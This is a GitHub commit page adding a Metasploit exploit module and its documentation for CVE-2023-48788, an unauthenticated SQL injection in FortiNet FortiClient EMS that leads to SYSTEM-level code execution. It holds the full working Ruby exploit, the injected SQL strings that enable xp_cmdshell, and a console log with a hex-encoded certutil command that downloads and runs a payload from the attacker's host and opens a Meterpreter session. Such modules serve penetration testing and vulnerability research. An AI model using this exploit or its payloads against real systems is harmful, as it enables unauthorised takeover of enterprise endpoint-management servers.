Skip to content

Commit 488653d

Browse files
authored
Land rapid7#19082, FortiNet FortiClient EMS SQLi to RCE [CVE-2023-48788]
2 parents dce1a0b + dae9657 commit 488653d

File tree

2 files changed

+339
-0
lines changed

2 files changed

+339
-0
lines changed
Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
## Vulnerable Application
2+
An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server).
3+
FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized
4+
platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which
5+
can be sent directly into database queries.
6+
7+
FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013
8+
and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database.
9+
In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable
10+
SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code
11+
execution in the context of NT AUTHORITY\SYSTEM
12+
13+
Affected versions of FortiClient EMS include:
14+
7.2.0 through 7.2.2
15+
7.0.1 through 7.0.10
16+
17+
Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet.
18+
19+
It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient
20+
EMS for the necessary vulnerable services to be available.
21+
22+
### Setup
23+
You'll need two Windows hosts. One domain controller and one Windows 10 host (a domain controller might not be 100%
24+
necessary however I used one and if you choose not to, your installation mileage may vary). The Windows 10 host will eventually
25+
install the FortiClient EMS Client and will be managed by our FortiClient EMS Server to enable the services required
26+
to exploit this vulnerability on the EMS Server. On the Windows 10 host set the the following Services to the following Startup Types:
27+
- Task Scheduler: Automatic
28+
- Windows Installer: Manual
29+
- Remote Registry: Automatic
30+
31+
Then either disable Windows Firewall completely or configure to allow the following inbound connections:
32+
- File and Printer Sharing (SMB-In)
33+
- Remote Scheduled Tasks Management (RPC)
34+
35+
Now on the domain controller download the installer `FortiClientEndpointManagementServer_7.0.7.0398_x64.exe`. You will need
36+
a FortiNet account to request a free trial.
37+
38+
On the domain controller launch the installer. When it completes within the application you will be presented with a sign in page.
39+
Enter username: "admin" with a blank password and click "Sign in" - this will prompt you to create a new password for the admin user.
40+
Then authenticate with the new password.
41+
A pop up window reading: "We didn't find any licenses for this EMS..." click "Try Free" and sign in with your FortiNet
42+
account to request a free trial.
43+
44+
Once FortiClient EMS has been launched, in the left hand side select System Settings > EMS Settings, then under Shared
45+
Settings select "Use FQDN" and input the domain controller's FQDN. Ensure the FQDN is accessible by pinging it from the cmdline.
46+
A pop up window reading: "The server will need to restart..." click "Yes".
47+
48+
Scroll down to "EMS Settings". In the "FortiClient Download URL" replace the IP address with the domain controller's FQDN.
49+
Click save.
50+
51+
Next select System Settings > FortiGuard Services under Cloud Services set the timezone your server is located in.
52+
Click Save.
53+
54+
Under "Deployment & Installers" > "FortiClient Installer" on the right hand side select "Add". A pop up window will appear.
55+
56+
For "Installer Type" select "Choose an official release". For "Release", choose 7.0 and for "Patch" choose 7.0.7 , click next.
57+
For "Name" input "FCT_707" click next.
58+
Keep all the defaults for the Features section and click next.
59+
Keep all the defaults for the Advanced section and click next and then click Finish.
60+
61+
Now you should have a Deployment Package with a Download Link. Navigate to that download link on your Windows 10 host
62+
and download and install the .msi package. Once installed correctly you should see the Windows 10 host appear under the
63+
"Endpoint" tab in the EMS Server. FortiClient EMS Server should now be exploitable.
64+
65+
## Verification Steps
66+
67+
1. Start msfconsole
68+
1. Do: `use windows/http/forticlient_ems_fctid_sqli`
69+
1. Set the `RHOST` and `LHOST` options
70+
1. Run the module
71+
1. Receive a Meterpreter session running in the context of `NT AUTHORITY\SYSTEM`
72+
73+
## Scenarios
74+
### FortiClient EMS 7.07.0398_x64 running on Windows Server 2019 (Domain Controller)
75+
```
76+
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200
77+
rhosts => 172.16.199.200
78+
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost 172.16.199.1
79+
lhost => 172.16.199.1
80+
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > options
81+
82+
Module options (exploit/windows/http/forticlient_ems_fctid_sqli):
83+
84+
Name Current Setting Required Description
85+
---- --------------- -------- -----------
86+
RHOSTS 172.16.199.200 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
87+
RPORT 8013 yes The target port (TCP)
88+
VHOST no HTTP server virtual host
89+
90+
91+
Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):
92+
93+
Name Current Setting Required Description
94+
---- --------------- -------- -----------
95+
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
96+
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
97+
FETCH_DELETE false yes Attempt to delete the binary after execution
98+
FETCH_FILENAME FqgyHVSnYd no Name to use on remote system when storing payload; cannot contain spaces or slashes
99+
FETCH_SRVHOST no Local IP to use for serving payload
100+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
101+
FETCH_URIPATH no Local URI to use for serving payload
102+
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
103+
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
104+
LPORT 8383 yes The listen port
105+
106+
107+
Exploit target:
108+
109+
Id Name
110+
-- ----
111+
0 Automatic Target
112+
113+
114+
115+
View the full module info with the info, or info -d command.
116+
117+
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) >
118+
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > run
119+
[*] Reloading module...
120+
121+
[*] Started reverse TCP handler on 172.16.199.1:8383
122+
[*] 172.16.199.200:8013 - Running automatic check ("set AutoCheck false" to disable)
123+
[+] 172.16.199.200:8013 - The target is vulnerable. The SQLi has been exploited successfully
124+
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;-- was executed successfully
125+
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully
126+
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;-- was executed successfully
127+
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully
128+
[*] Sending stage (201798 bytes) to 172.16.199.200
129+
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; DECLARE @SQL VARCHAR(120) = CONVERT(VARCHAR(MAX), 0X636572747574696c202d75
130+
726c6361636865202d6620687474703a2f2f3137322e31362e3139392e313a383038302f7a524b42764743776d624662474c46336c4e6f486d772025
131+
54454d50255c6a744d45695362632e6578652026207374617274202f42202554454d50255c6a744d45695362632e657865); exec master.dbo.xp_cmdshell @sql;-- was executed successfully
132+
[*] Meterpreter session 8 opened (172.16.199.1:8383 -> 172.16.199.200:57847) at 2024-04-11 14:00:22 -0700
133+
134+
meterpreter > getuid
135+
syServer username: NT AUTHORITY\SYSTEM
136+
meterpreter > sysinfo
137+
Computer : DC2
138+
OS : Windows Server 2019 (10.0 Build 17763).
139+
Architecture : x64
140+
System Language : en_US
141+
Domain : KERBEROS
142+
Logged On Users : 16
143+
Meterpreter : x64/windows
144+
meterpreter >
145+
```
Lines changed: 194 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,194 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::Remote::Tcp
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE',
18+
'Description' => %q{
19+
An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server).
20+
FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized
21+
platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which
22+
can be sent directly into database queries.
23+
24+
FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013
25+
and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database.
26+
In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable
27+
SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code
28+
execution in the context of NT AUTHORITY\SYSTEM
29+
30+
Affected versions of FortiClient EMS include:
31+
7.2.0 through 7.2.2
32+
7.0.1 through 7.0.10
33+
34+
Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet.
35+
36+
It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient
37+
EMS for the necessary vulnerable services to be available.
38+
},
39+
'Author' => [
40+
'Zach Hanley', # Analysis & PoC
41+
'James Horseman', # Analysis & PoC
42+
'jheysel-r7', # Msf module
43+
'Spencer McIntyre' # Msf module assistance
44+
],
45+
'References' => [
46+
[ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/'],
47+
[ 'URL', 'https://github.com/horizon3ai/CVE-2023-48788/blob/main/CVE-2023-48788.py'],
48+
[ 'CVE', '2023-48788']
49+
],
50+
'License' => MSF_LICENSE,
51+
'Platform' => 'win',
52+
'Privileged' => true,
53+
'Arch' => [ ARCH_CMD ],
54+
'Targets' => [
55+
[ 'Automatic Target', {}]
56+
],
57+
'DefaultTarget' => 0,
58+
'DisclosureDate' => '2024-04-21',
59+
'DefaultOptions' => {
60+
'SSL' => true,
61+
'RPORT' => 8013
62+
},
63+
'Notes' => {
64+
'Stability' => [ CRASH_SAFE ],
65+
'SideEffects' => [ IOC_IN_LOGS ],
66+
'Reliability' => [ REPEATABLE_SESSION ]
67+
}
68+
)
69+
)
70+
end
71+
72+
def get_register_info
73+
register_info = <<~REGISTER_INFO
74+
AVSIG_VER=1.00000
75+
REG_KEY=_
76+
EP_ONNETCHKSUM=0
77+
AVENG_VER=6.00266
78+
DHCP_SERVER=None
79+
FCTOS=WIN64
80+
VULSIG_VER=1.00000
81+
FCTVER=7.0.7.0345
82+
APPSIG_VER=13.00364
83+
USER=Administrator
84+
APPENG_VER=4.00082
85+
AVALSIG_VER=0.00000
86+
VULENG_VER=2.00032
87+
OSVER=Microsoft Windows Server 2019 , 64-bit (build 17763)
88+
COM_MODEL=VMware Virtual Platform
89+
RSENG_VER=1.00020
90+
AV_PROTECTED=0
91+
AVALENG_VER=0.00000
92+
PEER_IP=
93+
ENABLED_FEATURE_BITMAP=49
94+
EP_OFFNETCHKSUM=0
95+
INSTALLED_FEATURE_BITMAP=158583
96+
EP_CHKSUM=0
97+
HIDDEN_FEATURE_BITMAP=155943
98+
DISKENC=
99+
HOSTNAME=CYBER-RETQB1FLP
100+
AV_PRODUCT=
101+
FCT_SN=FCT8001638848651
102+
INSTALLUID=#{Faker::Internet.uuid.upcase}
103+
NWIFS=Ethernet0|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|1|*|0
104+
UTC=1710271774
105+
PC_DOMAIN=
106+
COM_MAN=VMware, Inc.
107+
CPU=Intel(R) Xeon(R) Silver 4215 CPU @ 2.50GHz
108+
MEM=12287
109+
HDD=99
110+
COM_SN=VMware-42 04 ed 2d 64 e8 0b 14-45 e9 e4 f6 5a c7 67 82
111+
DOMAIN=
112+
WORKGROUP=WORKGROUP
113+
USER_SID=S-1-5-21-#{rand(9) * 10}-#{rand(9) * 10}-#{rand(9) * 10}-500
114+
GROUP_TAG=
115+
ADGUID=
116+
EP_FGTCHKSUM=0
117+
EP_RULECHKSUM=0
118+
WF_FILESCHKSUM=0
119+
EP_APPCTRLCHKSUM=0
120+
REGISTER_INFO
121+
Rex::Text.encode_base64(register_info)
122+
end
123+
124+
def get_message(sqli)
125+
message = "MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD{SQLI_PLACEHOLDER}\n"
126+
message << "IP=127.0.0.1\n"
127+
message << "MAC=#{Faker::Internet.mac_address}\n"
128+
message << "FCT_ONNET=0\n"
129+
message << "CAPS=32767\n"
130+
message << "VDOM=default\n"
131+
message << "EC_QUARANTINED=0\n"
132+
message << "SIZE= {SIZE_PLACEHOLDER}\n"
133+
message << "\n"
134+
message << "X-FCCK-REGISTER: SYSINFO||#{get_register_info}\n"
135+
message << 'X-FCCK-REGISTER-END'
136+
message << "\r\n"
137+
message << "\r\n"
138+
message.gsub!('{SQLI_PLACEHOLDER}', sqli)
139+
message_length = message.length
140+
message_length = message_length - '{SIZE_PLACEHOLDER}'.length + message_length.to_s.length
141+
message.gsub!('{SIZE_PLACEHOLDER}', message_length.to_s)
142+
message
143+
end
144+
145+
def send_message(sqli)
146+
message = get_message(sqli)
147+
vprint_status("Sending the following message: #{message}")
148+
149+
buf = ''
150+
begin
151+
connect(true, { 'SSL' => true })
152+
sock.put(message)
153+
buf = sock.get_once || ''
154+
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
155+
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
156+
ensure
157+
disconnect
158+
end
159+
vprint_status("The response received was: #{buf}")
160+
buf
161+
end
162+
163+
def check
164+
res = send_message("' OR 1=1; --")
165+
return CheckCode::Vulnerable('The SQLi has been exploited successfully') if res.include?('KA_INTERVAL')
166+
return CheckCode::Safe if res.include?("The FCT record doesn't exist")
167+
168+
CheckCode::Unknown("#{peer} - FmcDaemon.exe does not appear to be running on the endpoint targeted")
169+
end
170+
171+
def exploit
172+
# Things to note:
173+
# 1. xp_cmdshell is disabled by default so first we must enable it.
174+
# 2. The application takes the SQL statement we inject into and converts it all to upper case. This was causing
175+
# attempted Base64 encoded payloads to fail, and is why we send the payload has a hex string and decode it using SQL
176+
# before running the command with xp_command shell.
177+
# 3. We expect to see KA_INTERVAL in the response to every SQLi attempt except for when we deliver the payload which
178+
# is when we expect the response to be empty.
179+
inject = [
180+
"' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--",
181+
"' OR 1=1; reconfigure;--",
182+
"' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--",
183+
"' OR 1=1; reconfigure;--",
184+
"' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--",
185+
]
186+
inject.each do |sqli|
187+
if sqli == inject.last
188+
send_message(sqli).empty? ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.')
189+
else
190+
send_message(sqli).include?('KA_INTERVAL') ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.')
191+
end
192+
end
193+
end
194+
end

0 commit comments

Comments
 (0)